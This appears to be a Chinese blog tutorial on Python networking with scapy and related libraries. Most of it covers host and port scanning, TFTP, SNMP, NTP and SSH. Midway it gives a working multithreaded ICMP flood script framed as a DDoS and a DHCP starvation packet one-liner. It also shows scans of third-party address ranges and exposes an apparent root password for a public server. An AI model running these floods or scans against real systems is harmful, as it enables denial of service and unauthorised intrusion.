1 ping = IP(dst=ip,id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you"
发送数据包
1 response = sr1(ping,verbose=0 ,timeout=2 )
sr1表示发一收一
verbose=0是设置不要回显发包的过程
timeout=2表示发包出去,两秒没收到包就停止
收到的数据包传递给了response
为了确保可行性,先给百度发一个包看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 version = 4 ihl = None tos = 0x0 len = None id = 62581 flags = frag = 0 ttl = 64 proto = icmp chksum = None src = 192.168 .31 .204 dst = Net('www.baidu.com' ) \options \ type = echo-request code = 0 chksum = None id = 0x4421 seq = 0xf65a load = 'who are you' None
上面这个是我们发送的数据包
下面这个是百度给我们回应的包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 version = 4 ihl = 5 tos = 0x4 len = 39 id = 62581 flags = frag = 0 ttl = 54 proto = icmp chksum = 0x1053 src = 183.232 .231 .172 dst = 192.168 .31 .204 \options \ type = echo-reply code = 0 chksum = 0x29f8 id = 0x4421 seq = 0xf65a load = 'who are you' None
ping的特色就是发什么回什么,我们发了一个who are you百度也回了一个
如果目标是死的会回什么呢?做一下实验将数据包发送给一个不存在的主机
1 2 3 4 ping = IP(dst="193.168.0.0" ,id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you" >>> None
没有回应打印了None,利用这个特性可以很容易判断主机是否存活
加入条件,如果主机存活打印出来IP存活,不存活则不打印
1 2 if response != None : print("{ip} 存活" .format(ip=ip))
多线程扫描
将上面的整理封装成ping函数,使用线程调用函数。
1 2 3 all_ip = ipaddress.ip_network(get_ip) for ip in all_ip: thread = threading.Thread(target=ping,args=(str(ip),))
接收外部参数,主函数如下
1 2 3 4 5 6 7 if __name__=="__main__" : get_ip = sys.argv[1 ] all_ip = ipaddress.ip_network(get_ip) print("正在扫描" +all_ip+"网段" ) for ip in all_ip: thread = threading.Thread(target=ping,args=(str(ip),)) thread.start()
优化一下界面,得到完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport timelogging.getLogger("scapy.runtime" ).setLevel(logging.ERROR) def ping (ip) : ip_id = random.randint(0 ,65535 ) icmp_id = random.randint(0 ,65535 ) seq = random.randint(0 ,65535 ) ping = IP(dst=ip,id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you" response = sr1(ping,verbose=0 ,timeout=2 ) if response != None : print("{ip} 存活" .format(ip=ip)) if __name__=="__main__" : print(" //^^^^^^))" ) print(" // ))" ) print(" //======))" ) print(" // " ) print(" // " ) print("// ——Blosslom" ) try : get_ip = sys.argv[1 ] all_ip = ipaddress.ip_network(get_ip) print("正在扫描" +str(all_ip)+"网段" ) for ip in all_ip: thread = threading.Thread(target=ping,args=(str(ip),)) thread.start() except : print("输入错误请检查输入" ) print("网段需要类似192.168.0.0/24以0结尾" ) time.sleep(1 ) print("进程退出" )
使用结果如下
1 2 3 4 5 6 7 8 9 10 11 12 F:\桌面>ping.py 183.232.231.0/24 //^^^^^^)) // )) //======)) // // // ——Blosslom 正在扫描183.232.231.0/24网段 183.232.231.5 存活 183.232.231.9 存活 183.232.231.6 存活 ......
扫描了百度所在的网段,几乎全部是存活的。
扫描程序的局限性
我使用该程序扫描我本地路由的ip有些存活的无法识别,是因为防火墙阻挡了ICMP数据包,对方不接受ping的数据包,所以无法识别这些设备。
ARP局域网发现
使用arp扫描局域网的主机,准确率高达99%以上,因为只要是连接在局域网里的主机都会相应arp数据包。
编写过程和ping扫描差不多,只需要更改发送的数据包。由于arp是二层协议,所以它无法跨路由进行扫描,只能扫描同一网段的主机。
准备好上面ping扫描的源代码,对其发包代码进行修改,测试。
查看Ether和ARP的报文信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 dst= 78 :a3:51 :a1:fd:00 src= a8:6 b:ad:83 :23 :37 type= ARP hwtype= 0x1 ptype= IPv4 hwlen= None plen= None op= who-has hwsrc= a8:6 b:ad:83 :23 :37 psrc= 192.168 .8 .192 hwdst= 00 :00 :00 :00 :00 :00 pdst= 0.0 .0 .0
需要将Ether的dst改成广播地址,ARP的pdst改成目标IP,只需设置这两个参数即可。
除之外还需要判断用户输入的是不是局域网的IP段,逻辑代码如下,需要使用socket
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import socketimport sysdef get_local_ip () : try : s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('www.baidu.com' , 80 )) ip = s.getsockname()[0 ] finally : s.close() return ip if __name__ == '__main__' : ip = sys.argv[1 ] local_ip_all = str(get_local_ip()) local_ip = local_ip_all.split("." ) ip = ip.split("." ) if str(ip[0 ]+ip[1 ]+ip[2 ])==str(local_ip[0 ]+local_ip[1 ]+local_ip[2 ]): print("ok" ) else : print("输入错误请输入和{local_ip_all}同网段的地址" .format(local_ip_all=local_ip_all))
编写完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport timeimport socketlogging.getLogger("scapy.runtime" ).setLevel(logging.ERROR) def arp (ip) : arp = Ether(dst="FF:FF:FF:FF:FF:FF" )/ARP(pdst=ip)/b"who are you" response = srp1(arp,verbose=0 ,timeout=1 ) if response != None : print("{ip} 存活" .format(ip=ip)) def get_local_ip () : try : s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('www.baidu.com' , 80 )) ip = s.getsockname()[0 ] finally : s.close() return ip if __name__=="__main__" : print(" /\\" ) print(" // \\\\ ))" ) print(" //====\\\\==】)" ) print(" //- ARP -\\\\]" ) print(" // \\\\" ) print("// \\\\ ——Blosslom" ) try : get_ip_all = sys.argv[1 ] get_ip = get_ip_all.split("." ) local_ip_all = str(get_local_ip()) local_ip = local_ip_all.split("." ) if str(get_ip[0 ]+get_ip[1 ]+get_ip[2 ])==str(local_ip[0 ]+local_ip[1 ]+local_ip[2 ]): all_ip = ipaddress.ip_network(get_ip_all) print("正在扫描" +str(all_ip)+"网段" ) for ip in all_ip: thread = threading.Thread(target=arp,args=(str(ip),)) thread.start() else : print("输入错误请输入和{local_ip_all}同网段的地址" .format(local_ip_all=local_ip_all)) time.sleep(1 ) print("进程退出" ) except : print("输入错误请检查输入" ) print("请输入和{local_ip_all}同网段的地址" .format(local_ip_all=local_ip_all))
这种ARP扫描无法跨路由进行扫描,虽然很精确但是非常受限。
TCP端口开放扫描
使用TCP三次握手的特性,我们发送S字段的flags标志位,如果目标端口返回SA字段的flags标志位则可以说明目标的端口是开放的。TCP端口扫描的程序设计是比前面两个复杂的。假设需要对一个网段的所有端口进行扫描,则需要进行1.7千万次的发包,所以扫描是一个非常缓慢的过程。
需要导入模块scapy,logging,random,threading,ipaddress,sys,time模块
1 2 3 4 5 6 7 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport time
清除提示信息
1 logging.getLogger("scapy.runtime" ).setLevel(logging.ERROR)
数据包
IP/TCP数据包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= tcp chksum= None src= 192.168 .31 .204 dst= 127.0 .0 .1 \options\ sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= []
IP
TCP
dport目标端口需要设置
seq32位数据序号可以设置随机数
sport也可以随机设置,防止发现恶意扫描
生产随机参数
1 2 ip_id = random.randint(0 ,65535 ) tcp_seq = random.randint(0 ,4294967295 )
构建数据包
1 tcp = IP(id=ip_id,dst="193.112.63.1" )/TCP(dport=(1 ,100 ),seq=tcp_seq)
IP段生成
1 2 3 all_ip = ipaddress.ip_network('192.168.0.0/24' ) for ip in all_ip: print(ip)
设计数据包集合
利用生成列表的原理,将每个不同的部分组合。
发送数据包
1 response = [i for i in [sr1(j) for j in tcp]]
将列表里的每一个数据包发送再生成一个新列表
返回值判断
1 2 if response[1 ].getlayer(TCP).fields['flags' ]==18 : print("yes" )
算法合并
设计数据包,发送数据包,返回值判断这三个可以合并成一行代码,只需要设计好算法,代码就可以正常运行.
编写算法的时候有很多坑,会出现TypeError: ‘NoneType’ object is not subscriptable的情况,因为数据包时以列表的形式发出去的,返回的结果也是被生成列表,所以列表中有的返回值时None,
1 2 3 4 5 ... <IP version=4 ihl=5 tos=0x74 len=40 id=44491 flags=DF frag=0 ttl=52 proto=tcp chksum=0xb7aa src=193.112 .63 .1 dst=192.168 .31 .204 |<TCP sport=134 dport=ftp_data seq=0 ack=1 dataofs=5 reserved=0 flags=RA window=0 chksum=0xce4f urgptr=0 |>>, None ,<IP version=4 ihl=5 tos=0x74 len=40 id=44754 flags=DF frag=0 ttl=52 proto=tcp chksum=0xb6a3 src=193.112 .63 .1 dst=192.168 .31 .204 |<TCP sport=136 dport=ftp_data seq=0 ack=1 dataofs=5 reserved=0 flags=RA window=0 chksum=0xce4d urgptr=0 |>>, ...
在后面的处理中会报错,所以需要过滤掉None,使用filter方法,完整合并算法如下:
1 2 3 response = [i if i[1 ].haslayer(TCP) and i[1 ].getlayer(TCP).fields['flags' ]==18 \ else None for i in list(filter(None ,[sr1(j,verbose=0 ,timeout=1 ) \ for j in [k for k in tcp]]))]
样一句代码就可以将回应SA的数据包保存列表其他以None保存列表,再经过filter进行过滤None
1 response = list(filter(None ,response))
其实这样句完全可以合并到上面,但是语法太复杂了,导致很难理解。
优化输出
1 2 3 4 for i in response: target_ip = i[0 ].getlayer(IP).fields["src" ] sport=i[1 ].getlayer(TCP).fields['sport' ] print(str(target_ip)+"端口" +str(sport)+"开放" )
输出形式根据自己的设定样式输出
多线程
对每一个IP开启一个线程进行扫描,这样使用的时间就可以大大缩短
1 2 3 4 5 6 7 8 9 10 11 get_ip = sys.argv[1 ] all_ip = ipaddress.ip_network(get_ip) get_start_port = sys.argv[2 ] get_end_port = sys.argv[3 ] print("正在扫描" +str(all_ip)+"网段的" +str(get_start_port)+" to " +str(get_end_port)+"端口" ) for ip in all_ip: thread = threading.Thread(target=tcp,args=(str(ip),get_start_port,get_end_port,)) thread.start() time.sleep(1 ) print("进程退出" ) print("处理数据......" )
完成扫描程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport timeimport socketlogging.getLogger("scapy.runtime" ).setLevel(logging.ERROR) def tcp (ip,start_port,end_port) : ip_id = random.randint(0 ,65535 ) tcp_seq = random.randint(0 ,4294967295 ) tcp_sport = random.randint(0 ,1000 ) tcp = IP(id=ip_id,dst=ip)/TCP(dport=(int(start_port),int(end_port)),seq=tcp_seq) response = [i if i[1 ].haslayer(TCP) and i[1 ].getlayer(TCP).fields['flags' ]==18 \ else None for i in list(filter(None ,[sr1(j,verbose=0 ,timeout=0.1 ) \ for j in [k for k in tcp]]))] response = list(filter(None ,response)) if response: for i in response: target_ip = i[0 ].getlayer(IP).fields["src" ] sport=i[1 ].getlayer(TCP).fields['sport' ] print(str(target_ip)+"端口|" +str(sport)+"|开放" ) print("========================" ) if __name__=="__main__" : print("===============" ) print(" || ))" ) print(" ||\ ==】)" ) print(" TCP TCP -\\\\]" ) print(" ||" ) print(" || ——Blosslom" ) try : get_ip = sys.argv[1 ] all_ip = ipaddress.ip_network(get_ip) get_start_port = sys.argv[2 ] get_end_port = sys.argv[3 ] print("正在扫描" +str(all_ip)+"网段的" +str(get_start_port)+" to " +str(get_end_port)+"端口" ) for ip in all_ip: thread = threading.Thread(target=tcp,args=(str(ip),get_start_port,get_end_port,)) thread.start() time.sleep(1 ) print("进程退出" ) print("处理数据......" ) except : print("输入错误请检查输入" ) print("输入格式为 IP 起始端口 结束端口" ) print("例如:tcp.py 8.8.8.0/24 1 100" )
使用效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 F:\桌面>tcp.py 193.112 .63 .0 /30 1 100 =============== || )) ||\ ==】) TCP TCP -\\] || || ——Blosslom 正在扫描193.112 .63 .0 /30 网段的1 to 100 端口 进程退出 处理数据...... 193.112 .63 .1 端口|22 |开放193.112 .63 .1 端口|80 |开放======================== 193.112 .63 .2 端口|21 |开放193.112 .63 .2 端口|22 |开放193.112 .63 .2 端口|80 |开放========================
UDP端口扫描
UDP端口扫描类似TCP端口扫描的编写方法,只不过返回数据包判断不同,开放的UDP端口不对包进行回应,未开放的UDP端口会回应一个ICMP的端口不可达的差错报文。通过判断是否回应数据包来判断是否开放UDP端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport timeimport socketlogging.getLogger("scapy.runtime" ).setLevel(logging.ERROR) def udp (ip,start_port,end_port) : ip_id = random.randint(0 ,65535 ) udp_sport = random.randint(1000 ,2000 ) udp = IP(id=1 ,dst=ip)/UDP(dport=(int(start_port),int(end_port))) udp_list = [j for j in udp] for i in udp_list: response = sr(i,verbose=0 ,timeout=5 ) try : if response[1 ].res[0 ].haslayer(UDP): print(str(i.dst)+"端口|" +str(i.dport)+"|开放" ) except : pass if __name__=="__main__" : print("|| ||" ) print("|| || ))" ) print("|| ||\ ==】)" ) print(" || UDP ||P -\\\\]" ) print(" || ||" ) print(" ||UU|| ——Blosslom" ) try : get_ip = sys.argv[1 ] all_ip = ipaddress.ip_network(get_ip) get_start_port = sys.argv[2 ] get_end_port = sys.argv[3 ] print("正在扫描" +str(all_ip)+"网段的" +str(get_start_port)+" to " +str(get_end_port)+"端口" ) for ip in all_ip: thread = threading.Thread(target=udp,args=(str(ip),get_start_port,get_end_port,)) thread.start() time.sleep(1 ) print("进程退出" ) print("处理数据......" ) except : print("输入错误请检查输入" ) print("输入格式为 IP 起始端口 结束端口" ) print("例如:tcp.py 8.8.8.0/24 1 100" )
扫描结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 F:\桌面>udp.py 193.112 .63 .0 /29 1 100 || || || || )) || ||\ ==】) || UDP ||P -\\] || || ||UU|| ——Blosslom 正在扫描193.112 .63 .0 /29 网段的1 to 100 端口 进程退出 处理数据...... 193.112 .63 .0 端口|1 |开放193.112 .63 .3 端口|1 |开放......
结果非常不准确,有很大的误差。因为如果主机没有存活也是不会回包的。
绕过防火墙扫描
扫描原理
如果数据包抵达防火墙时TTL值为0时,而且这个端口确实被防火墙放过的,防火墙会返回一个ICMP超时差错数据包
Ping攻击
单纯的ping即使使用全部带宽都不一定能ping死服务器,但是借助别人的服务器来攻击目标服务器是有希望攻击到目标的,铸造ping包广播服务器组攻击目标的方法叫Smurf攻击。广播包走路由需要使三层包结构,目标地址是255。不过现在很少有路由器允许这种包转发了(ip directed-broadcast),有远程唤起的服务器组可能开启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport timeimport socketlogging.getLogger("scapy.runtime" ).setLevel(logging.ERROR) def ping (ip) : ip_id = random.randint(0 ,65535 ) udp_sport = random.randint(1000 ,2000 ) ping = IP(id=ip_id,dst=ip)/ICMP()/b"you have be DDoS" *200 print("attack" ) while True : send(ping,verbose=0 ) if __name__=="__main__" : ip = input("输入IP:" ) threads=int(input("输入线程:" )) for i in range(threads): thread = threading.Thread(target=ping,args=(str(ip),)) thread.start()
SYN DDoS
基于TCP通讯协议,TCP建立连接需要进行三次握手,客户端发送SYN,服务器回SYN+ACK,客户端回ACK,完成上述才能进行正常TCP通讯。所谓SYN DDoS就是只发送SYN数据包,对于服务器返回的SYN+ACK不处理,占用服务器的处理内存。SYN+ACK数据包发送到收到客户端的ACK回包有一个时间叫RTT时间,时间一到服务器就会取消等待,攻击需要在RTT时间内占满服务器的内存。
达到拒绝服务的原理是占用了合法的数据,其他的连接状态被占用,服务器返回RST数据包造成拒绝服务。
Handshake DDoS
和上面原理类似,不过这个是真正的建立连接。一个主机建立握手是有限的,还是必须使用随机的IP地址。
DHCP DDoS
使用discover寻求IP地址,耗尽资源,使用二层包发送方法
1 Ether(dst="FF:FF:FF:FF:FF:FF" ,src=RandMAC,type=0x0800 )/IP(src="0.0.0.0" ,dst="255.255.255.255" )/UDP(dport=67 ,sport=68 )/BOOTP(op=1 ,chaddr=RandMAC/DHCP(option=[("message-type" ,"discover" ),("param_req_list" ,b"\x01\x06\x0f,\x03!\x96+" ),("end" )])
ARP毒化
2D图像
需要安装依赖包,pip install pyx
如果想要可视化一个数据包只需要一行命令即可
1 2 3 4 5 6 7 8 9 10 >>> a=IP()/TCP()/UDP()>>> a<IP frag=0 proto=tcp |<TCP |<UDP |>>> >>> a.pdfdump(layer_shift=1 )WARNING: No IP underlayer to compute checksum. Leaving null. kpsewhich: security risk: running with elevated privileges kpsewhich: security risk: running with elevated privileges kpsewhich: security risk: running with elevated privileges Ignoring line 25086 in mapping file 'pdftex.map' : Unsupported Postscript fragment 'TeXBase1Encoding 0.167' Ignoring line 25089 in mapping file 'pdftex.map' : Unsupported Postscript fragment 'TeXBase1Encoding 0.167'
可视化了堆叠的三个数据包,生成了pdf文件
还可以生产eps文件用于photoshop打开
Socket
socket又叫套接字,通过网络连接硬件之间的通讯。他是python的一个标准库,直接导入可以使用。
流程
服务端流程
实例化套接字对象
绑定IP:Port
循环监听
连接
关闭连接
关闭服务
http
python的HTTP使用很少,因为他只有组基本的安全保障,一般都是使用框架例如django,flask。因为http是内置库用起来很方便,如果不是什么大项目还是可以使用的。
server
使用这个可以自己编写web服务器。具体操作如下
1 2 3 4 5 6 7 from http.server import HTTPServer,SimpleHTTPRequestHandlerimport sysip = sys.argv[1 ] port = sys.argv[2 ] web = HTTPServer((ip,int(port)),SimpleHTTPRequestHandler) print(web[0 ])
导入文件的格式,不能直接导入http因为http和http.server不是一个文件。HTTPServer用来创建对象的一个server类,SimpleHTTPRequestHandler是一个用来处理request的Handler类,所有请求被HTTPServer接收到都交给SimpleHTTPRequestHandler处理。
1 2 3 4 5 6 try : web.serve_forever() except KeyboardInterrupt: print("\nKeyboard interrupt received, exiting." ) web.server_close() sys.exit(0 )
这段代码和上面的联合起来就是一个简单的web服务,在通国际目录下放入index.html文件就可以形成一个网站。
使用这个搭建的网址危险系数是很高的!
minumumTFTP
这是一个用来TFTP传输文件的一个模块,首先需要安装模块pip install minumumTFTP
服务端
进入python
1 2 3 >>>import minimumTFTP >>>Server = minimumTFTP.Server('path' ) >>>Server.run()
启动的path是用来存放文件的
不进入python
1 python-m minimumtftp-s[目录]
客户端
客户端可以收发文件
进入python
1 >>>Client = minimumTFTP.Client(server_IP,client_directory, filename)
收文件
发文件
不进入python
收文件
1 python-m minimumtftp-g[serverip][client_directory][filename]
发文件
1 python-m minimumtftp-p[serverip][client_directory][filename]
PySNMP
需要安装pip install pysnmp
在python文件中导入模块
1 from pysnmp.hlapi import *
创建SNMP引擎
1 2 >>> SnmpEngine()SnmpEngine(snmpEngineID=<SnmpEngineID value object, tagSet <TagSet object, tags 0 :0 :4 >, subtypeSpec <ConstraintsIntersection object, consts <ValueSizeConstraint object, consts 0 , 65535 >, <ValueSizeConstraint object, consts 5 , 32 >>, encoding iso-8859 -1 , payload [0x80004fb80532e05b88 ]>)
0x80004fb80532e05b88这个是引擎唯一标识
查询
dir()
使用dir可以列出很多
1 2 > >> dir() ['Bits', 'CommunityData', 'ContextData', 'Counter32', 'Counter64', 'EndOfMibView', 'Gauge32', 'Integer', 'Integer32', 'IpAddress', 'NoSuchInstance', ...]
每一个都是一个对象
取出名字有Cmd的
1 2 >>> [i for i in dir() if 'Cmd' in i]['bulkCmd' , 'getCmd' , 'nextCmd' , 'setCmd' ]
打印getCmd
1 2 >>> getCmd<function getCmd at 0x0000029BA194F268 >
NTPlib
需要安装模块pip install ntplib
导入模块
1 2 3 4 >>>import ntplib >>>import time >>>c = ntplib.NTPClient() <ntplib.NTPClient object at 0x00000253572864E0 >
打印的是一个对象
1 2 >>>response = c.request('pool.ntp.org' ) <ntplib.NTPStats object at 0x0000025B47245128 >
同样时一个对象
1 2 >>>print(response.tx_time) 1594705862.7639685
时间戳
1 2 3 >>>now = time.localtime(response.tx_time) >>>print(now) time.struct_time(tm_year=2020 , tm_mon=7 , tm_mday=14 , tm_hour=13 , tm_min=51 , tm_sec=2 , tm_wday=1 , tm_yday=196 , tm_isdst=0 )
将时间戳转化成日常时间
1 2 3 >>>get_now = time.strftime("%H:%M:%S" ,now) >>>print(get_now) 13 :54 :19
格式化输出时间
安照秒数电脑本身计时少了一秒,影响不大。应用到加密中很有用。
paramiko
需要安装pip install paramiko,他是python的一个库,可以使用ssh协议对远程服务器进行操作,分为两大模块
SSHClient
远程终端连接
1 2 3 4 >>>import paramiko >>>client = paramiko.SSHClient() >>>client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) >>> client.connect(hostname='193.112.63.1' , port=22 , username='root' , password='*******' )
执行系统命令
1 2 client.exec_command('df -h ' ) (<paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>, <paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>, <paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>)
返回了元组,里面有三个对象,分开接收
1 2 3 4 5 6 7 8 9 10 >>>put,out,err=client.exec_command('df -h ' ) print(out.read().decode("utf-8" )) Filesystem Size Used Avail Use% Mounted on udev 928 M 0 928 M 0 % /dev tmpfs 188 M 2.0 M 186 M 2 % /run /dev/vda1 50 G 14 G 34 G 29 % / tmpfs 939 M 32 K 939 M 1 % /dev/shm tmpfs 5.0 M 0 5.0 M 0 % /run/lock tmpfs 939 M 0 939 M 0 % /sys/fs/cgroup tmpfs 188 M 0 188 M 0 % /run/user/0
SFTPClient
实现远程文件操作,文件上传、下载、修改文件操作。
配置登陆
1 2 3 >>>tran = paramiko.Transport(('193.112.63.1' , 22 )) >>>tran.connect(username="root" , password='@txsgds2b' ) >>>sftp = paramiko.SFTPClient.from_transport(tran)
操作文件
1 2 3 >>>sftp.put("F:\\桌面\\1.py" , "/root/1.py" ) <SFTPAttributes: [ size=191 uid=0 gid=0 mode=0o100644 atime=1594709318 mtime=1594709318 ]> >>> sftp.get("/root/1.py" ,"F:\\桌面\\11.py" )